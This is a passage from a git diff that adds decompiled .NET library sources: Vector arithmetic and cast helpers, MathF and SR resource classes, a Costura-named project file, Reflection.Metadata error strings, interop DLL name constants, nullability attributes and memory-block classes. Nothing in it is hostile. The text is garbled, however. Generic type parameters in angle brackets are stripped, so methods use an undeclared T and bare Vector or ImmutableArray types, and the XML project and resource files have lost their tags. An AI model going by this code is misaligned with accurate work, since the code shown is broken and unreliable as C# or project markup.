[MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector SquareRoot(Vector value) where T : struct + { + return Vector.SquareRoot(value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Add(Vector left, Vector right) where T : struct + { + return left + right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Subtract(Vector left, Vector right) where T : struct + { + return left - right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Multiply(Vector left, Vector right) where T : struct + { + return left * right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Multiply(Vector left, T right) where T : struct + { + return left * right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Multiply(T left, Vector right) where T : struct + { + return left * right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Divide(Vector left, Vector right) where T : struct + { + return left / right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Negate(Vector value) where T : struct + { + return -value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector BitwiseAnd(Vector left, Vector right) where T : struct + { + return left & right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector BitwiseOr(Vector left, Vector right) where T : struct + { + return left | right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector OnesComplement(Vector value) where T : struct + { + return ~value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Xor(Vector left, Vector right) where T : struct + { + return left ^ right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AndNot(Vector left, Vector right) where T : struct + { + return left & ~right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AsVectorByte(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static Vector AsVectorSByte(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static Vector AsVectorUInt16(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AsVectorInt16(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static Vector AsVectorUInt32(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AsVectorInt32(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static Vector AsVectorUInt64(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AsVectorInt64(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AsVectorSingle(Vector value) where T : struct + { + return (Vector)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector AsVectorDouble(Vector value) where T : struct + { + return (Vector)value; + } +} diff --git a/decompiled/Libraries/system.numerics.vectors/System.Runtime.CompilerServices/IntrinsicAttribute.cs b/decompiled/Libraries/system.numerics.vectors/System.Runtime.CompilerServices/IntrinsicAttribute.cs new file mode 100644 index 0000000..497853f --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System.Runtime.CompilerServices/IntrinsicAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Field, Inherited = false)] +internal sealed class IntrinsicAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.numerics.vectors/System/MathF.cs b/decompiled/Libraries/system.numerics.vectors/System/MathF.cs new file mode 100644 index 0000000..a1cff9c --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System/MathF.cs @@ -0,0 +1,56 @@ +using System.Runtime.CompilerServices; + +namespace System; + +internal static class MathF +{ + public const float PI = 3.1415927f; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Abs(float x) + { + return Math.Abs(x); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Acos(float x) + { + return (float)Math.Acos(x); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Cos(float x) + { + return (float)Math.Cos(x); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float IEEERemainder(float x, float y) + { + return (float)Math.IEEERemainder(x, y); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Pow(float x, float y) + { + return (float)Math.Pow(x, y); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Sin(float x) + { + return (float)Math.Sin(x); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Sqrt(float x) + { + return (float)Math.Sqrt(x); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static float Tan(float x) + { + return (float)Math.Tan(x); + } +} diff --git a/decompiled/Libraries/system.numerics.vectors/System/SR.cs b/decompiled/Libraries/system.numerics.vectors/System/SR.cs new file mode 100644 index 0000000..ffe2da8 --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/System/SR.cs @@ -0,0 +1,87 @@ +using System.Resources; +using System.Runtime.CompilerServices; +using FxResources.System.Numerics.Vectors; + +namespace System; + +internal static class SR +{ + private static ResourceManager s_resourceManager; + + private static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(ResourceType)); + + internal static Type ResourceType { get; } = typeof(SR); + + internal static string Arg_ArgumentOutOfRangeException => GetResourceString("Arg_ArgumentOutOfRangeException", null); + + internal static string Arg_ElementsInSourceIsGreaterThanDestination => GetResourceString("Arg_ElementsInSourceIsGreaterThanDestination", null); + + internal static string Arg_NullArgumentNullRef => GetResourceString("Arg_NullArgumentNullRef", null); + + internal static string Arg_TypeNotSupported => GetResourceString("Arg_TypeNotSupported", null); + + internal static string Arg_InsufficientNumberOfElements => GetResourceString("Arg_InsufficientNumberOfElements", null); + + [MethodImpl(MethodImplOptions.NoInlining)] + private static bool UsingResourceKeys() + { + return false; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string text = null; + try + { + text = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + if (defaultString != null && resourceKey.Equals(text, StringComparison.Ordinal)) + { + return defaultString; + } + return text; + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } +} diff --git a/decompiled/Libraries/system.numerics.vectors/costura.system.numerics.vectors.csproj b/decompiled/Libraries/system.numerics.vectors/costura.system.numerics.vectors.csproj new file mode 100644 index 0000000..0242246 --- /dev/null +++ b/decompiled/Libraries/system.numerics.vectors/costura.system.numerics.vectors.csproj @@ -0,0 +1,21 @@ + + + System.Numerics.Vectors + False + net40 + + + 14.0 + True + False + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Numerics.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.reflection.metadata/.DS_Store b/decompiled/Libraries/system.reflection.metadata/.DS_Store new file mode 100644 index 0000000..0b3d349 Binary files /dev/null and b/decompiled/Libraries/system.reflection.metadata/.DS_Store differ diff --git a/decompiled/Libraries/system.reflection.metadata/FxResources.System.Reflection.Metadata.SR.resx b/decompiled/Libraries/system.reflection.metadata/FxResources.System.Reflection.Metadata.SR.resx new file mode 100644 index 0000000..8f1ab72 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/FxResources.System.Reflection.Metadata.SR.resx @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Invalid signature. + Stream length minus starting position is too large to hold a PEImage. + Invalid coded index. + Unexpected handle kind: {0}. + PE image not available. + Invalid directory relative virtual address. + Base reader must be a full metadata reader. + Expected array of size {0}. + Invalid document name. + Unknown section name: '{0}'. + {0} must not return null. + Not enough space for stream header name. + Illegal tables in compressed metadata stream. + Unexpected CodeView data signature value. + Invalid directory size. + Method body was created with no exception regions. + Expected signature header for '{0}', but found '{1}' (0x{2:x2}). + Specified label doesn't belong to the current builder. + Unsupported format version: {0} + Unexpected op-code: {0}. + The operation is not valid on this builder as it has been linked with another one. + Read out of bounds. + Row ID or heap offset is too large. + Specified handle is not a valid metadata heap handle. + Metadata table header too small. + Value must be multiple of {0}. + Invalid exception region bounds: start offset ({0}) is greater than end offset ({1}). + Row count must be zero for table #{0}. + The value of field Characteristics in debug directory entry must be zero. + Data too big to fit in memory. + Unknown PE Magic value. + Missing mscorlib reference in AssemblyRef table. + Label {0} has not been marked. + Metadata tables too small. + Assembly already added. + Table row count space to small. + Declared size doesn't correspond to the actual size. + Can't get a heap offset for a virtual heap handle + Unexpected value '{0}' of type '{1}' + Metadata table {0} not sorted. + Specified readers must be minimal delta metadata readers. + Invalid compressed integer. + Write out of bounds. + Expected array of length {0}. + The limit on the size of {0} heap has been exceeded. + Unexpected SignatureTypeCode: (0x{0:x}). + Invalid Metadata stream format. + Invalid number of rows of Module table: {0}. + Not enough space for Blob stream. + Not enough space for version string. + Unexpected stream end. + Row count specified for table index {0} is out of allowed range. + Missing data directory. + Invalid handle. + Invalid row count: {0} + Invalid PE signature. + Signature provider returned invalid signature. + Not enough space for String stream. + Specified handle is not a TypeDefinitionHandle, TypeRefererenceHandle, or TypeSpecificationHandle. + Invalid number of sections declared in PE header. + Sequence point value is out of range. + Stream must support read and seek operations. + There are too many exception regions. + Can't add vararg parameters to non-vararg signature. + Signature type sequence must have at least one element. + Invalid COR header size. + Metadata image doesn't represent an assembly. + Specified handle is not a valid metadata table or UserString heap handle. + Invalid entry point token: 0x{0:8X} + Invalid relative virtual address (RVA): 0x{0:X8} + Expected non-empty list. + The size of the builder returned by {0}.{1} is smaller than requested. + Invalid import definition kind: {0}. + Invalid constant value. + Hash must be at least {0}B long. + There are too many subnamespaces. + Invalid method header: 0x{0:X2} + Invalid method header: 0x{0:X2} 0x{1:X2} + The MetadataStringDecoder instance used to instantiate the Metadata reader must have a UTF8 encoding. + Expected non-empty array. + Value is too large. + The Debug directory was not of type {0}. + The distance between the instruction {0} (offset {1}) and the target label doesn't fit the operand size: {2} + Stream header too small. + Metadata version too long. + Image is either too small or contains an invalid byte offset or count. + Value of type '{0}' is not a constant. + Expected signature header for '{0}' or '{1}', but found '{2}' (0x{3:x2}). + Image is too small. + Invalid token. + Unknown tables: 0x{0:x16}. + Blob is to large. + Section too small. + Invalid PDB Checksum data format. + Invalid metadata section span. + Module already added. + Can't emit a branch or exception region, the current encoder not created with a control flow builder. + Not enough space for Metadata stream. + Handle belongs to a future generation + Expected list of size {0}. + Invalid type size. + Invalid SEH header: 0x{0:X2} + Invalid local signature token: 0x{0:X8} + Specified handle is not a TypeDefinitionHandle or TypeRefererenceHandle. + EnCMap table not sorted or has missing records. + Expected non-empty string. + Invalid COR20 header signature. + Builder must be aligned to 4 byte boundary. + Unexpected value '{0}' of unknown type. + Unknown file format. + Invalid serialized string. + Metadata header too small. + PE image does not have metadata. + Standalone debug metadata image doesn't contain Module table. + Not enough space for GUID stream. + Unexpected Embedded Portable PDB data signature value. + \ No newline at end of file diff --git a/decompiled/Libraries/system.reflection.metadata/FxResources.System.Reflection.Metadata/SR.cs b/decompiled/Libraries/system.reflection.metadata/FxResources.System.Reflection.Metadata/SR.cs new file mode 100644 index 0000000..40fb7d9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/FxResources.System.Reflection.Metadata/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Reflection.Metadata; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/ILLink.Substitutions.xml b/decompiled/Libraries/system.reflection.metadata/ILLink.Substitutions.xml new file mode 100644 index 0000000..72e1cf0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/ILLink.Substitutions.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.reflection.metadata/Interop.cs b/decompiled/Libraries/system.reflection.metadata/Interop.cs new file mode 100644 index 0000000..24d0e18 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/Interop.cs @@ -0,0 +1,99 @@ +using System; +using System.Runtime.InteropServices; + +internal static class Interop +{ + internal static class Libraries + { + internal const string Activeds = "activeds.dll"; + + internal const string Advapi32 = "advapi32.dll"; + + internal const string Authz = "authz.dll"; + + internal const string BCrypt = "BCrypt.dll"; + + internal const string Credui = "credui.dll"; + + internal const string Crypt32 = "crypt32.dll"; + + internal const string CryptUI = "cryptui.dll"; + + internal const string Dnsapi = "dnsapi.dll"; + + internal const string Dsrole = "dsrole.dll"; + + internal const string Gdi32 = "gdi32.dll"; + + internal const string HttpApi = "httpapi.dll"; + + internal const string IpHlpApi = "iphlpapi.dll"; + + internal const string Kernel32 = "kernel32.dll"; + + internal const string Logoncli = "logoncli.dll"; + + internal const string Mswsock = "mswsock.dll"; + + internal const string NCrypt = "ncrypt.dll"; + + internal const string Netapi32 = "netapi32.dll"; + + internal const string Netutils = "netutils.dll"; + + internal const string NtDll = "ntdll.dll"; + + internal const string Odbc32 = "odbc32.dll"; + + internal const string Ole32 = "ole32.dll"; + + internal const string OleAut32 = "oleaut32.dll"; + + internal const string Pdh = "pdh.dll"; + + internal const string Secur32 = "secur32.dll"; + + internal const string Shell32 = "shell32.dll"; + + internal const string SspiCli = "sspicli.dll"; + + internal const string User32 = "user32.dll"; + + internal const string Version = "version.dll"; + + internal const string WebSocket = "websocket.dll"; + + internal const string Wevtapi = "wevtapi.dll"; + + internal const string WinHttp = "winhttp.dll"; + + internal const string WinMM = "winmm.dll"; + + internal const string Wkscli = "wkscli.dll"; + + internal const string Wldap32 = "wldap32.dll"; + + internal const string Ws2_32 = "ws2_32.dll"; + + internal const string Wtsapi32 = "wtsapi32.dll"; + + internal const string CompressionNative = "System.IO.Compression.Native"; + + internal const string GlobalizationNative = "System.Globalization.Native"; + + internal const string MsQuic = "msquic.dll"; + + internal const string HostPolicy = "hostpolicy.dll"; + + internal const string Ucrtbase = "ucrtbase.dll"; + + internal const string Xolehlp = "xolehlp.dll"; + } + + internal static class Kernel32 + { + [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)] + [LibraryImport("kernel32.dll", SetLastError = true)] + internal unsafe static extern int ReadFile(SafeHandle handle, byte* bytes, int numBytesToRead, out int numBytesRead, IntPtr mustBeZero); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/Microsoft.CodeAnalysis/EmbeddedAttribute.cs b/decompiled/Libraries/system.reflection.metadata/Microsoft.CodeAnalysis/EmbeddedAttribute.cs new file mode 100644 index 0000000..eb4430f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/Microsoft.CodeAnalysis/EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[Embedded] +internal sealed class EmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.reflection.metadata/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..0aae18b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/Properties/AssemblyInfo.cs @@ -0,0 +1,27 @@ +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; +using System.Security; +using System.Security.Permissions; + +[assembly: InternalsVisibleTo("System.Reflection.Metadata.Tests, PublicKey=00240000048000009400000006020000002400005253413100040000010001004b86c4cb78549b34bab61a3b1800e23bfeb5b3ec390074041536a7e3cbd97f5f04cf0f857155a8928eaa29ebfd11cfbbad3ba70efea7bda3226c6a8d370a4cd303f714486b6ebc225985a638471e6ef571cc92a4613c00b8fa65d61ccee0cbe5f36330c9a01f4183559f1bef24cc2917c6d913e3a541333a1d05d9bed22b38cb")] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyDefaultAlias("System.Reflection.Metadata")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyDescription("This package provides a low-level .NET (ECMA-335) metadata reader and writer. It's geared for performance and is the ideal choice for building higher-level libraries that intend to provide their own object model, such as compilers. The metadata format is defined by the ECMA-335 - Common Language Infrastructure (CLI) specification.\r\n\r\nThe System.Reflection.Metadata library is built-in as part of the shared framework in .NET Runtime. The package can be installed when you need to use it in other target frameworks.")] +[assembly: AssemblyFileVersion("7.0.22.51805")] +[assembly: AssemblyInformationalVersion("7.0.0+d099f075e45d2aa6007a22b71b45a08758559f80")] +[assembly: AssemblyProduct("Microsoft® .NET")] +[assembly: AssemblyTitle("System.Reflection.Metadata")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/runtime")] +[assembly: AssemblyVersion("7.0.0.0")] +[module: NullablePublicOnly(true)] diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/AbstractMemoryBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/AbstractMemoryBlock.cs new file mode 100644 index 0000000..5efa557 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/AbstractMemoryBlock.cs @@ -0,0 +1,28 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; + +namespace System.Reflection.Internal; + +internal abstract class AbstractMemoryBlock : IDisposable +{ + public unsafe abstract byte* Pointer { get; } + + public abstract int Size { get; } + + public unsafe BlobReader GetReader() + { + return new BlobReader(Pointer, Size); + } + + public unsafe virtual ImmutableArray GetContentUnchecked(int start, int length) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray result = BlobUtilities.ReadImmutableBytes(Pointer + start, length); + GC.KeepAlive(this); + return result; + } + + public abstract void Dispose(); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/BitArithmetic.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/BitArithmetic.cs new file mode 100644 index 0000000..829099f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/BitArithmetic.cs @@ -0,0 +1,43 @@ +namespace System.Reflection.Internal; + +internal static class BitArithmetic +{ + internal static int CountBits(int v) + { + return CountBits((uint)v); + } + + internal static int CountBits(uint v) + { + v -= (v >> 1) & 0x55555555; + v = (v & 0x33333333) + ((v >> 2) & 0x33333333); + return (int)(((v + (v >> 4)) & 0xF0F0F0F) * 16843009) >> 24; + } + + internal static int CountBits(ulong v) + { + v -= (v >> 1) & 0x5555555555555555L; + v = (v & 0x3333333333333333L) + ((v >> 2) & 0x3333333333333333L); + return (int)(((v + (v >> 4)) & 0xF0F0F0F0F0F0F0FL) * 72340172838076673L >> 56); + } + + internal static uint Align(uint position, uint alignment) + { + uint num = position & ~(alignment - 1); + if (num == position) + { + return num; + } + return num + alignment; + } + + internal static int Align(int position, int alignment) + { + int num = position & ~(alignment - 1); + if (num == position) + { + return num; + } + return num + alignment; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteArrayMemoryBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteArrayMemoryBlock.cs new file mode 100644 index 0000000..491c63c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteArrayMemoryBlock.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Internal; + +internal sealed class ByteArrayMemoryBlock : AbstractMemoryBlock +{ + private ByteArrayMemoryProvider _provider; + + private readonly int _start; + + private readonly int _size; + + public unsafe override byte* Pointer => _provider.Pointer + _start; + + public override int Size => _size; + + internal ByteArrayMemoryBlock(ByteArrayMemoryProvider provider, int start, int size) + { + _provider = provider; + _size = size; + _start = start; + } + + public override void Dispose() + { + _provider = null; + } + + public override ImmutableArray GetContentUnchecked(int start, int length) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return ImmutableArray.Create(_provider.Array, _start + start, length); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteArrayMemoryProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteArrayMemoryProvider.cs new file mode 100644 index 0000000..7cfda9a --- /dev/null +++ 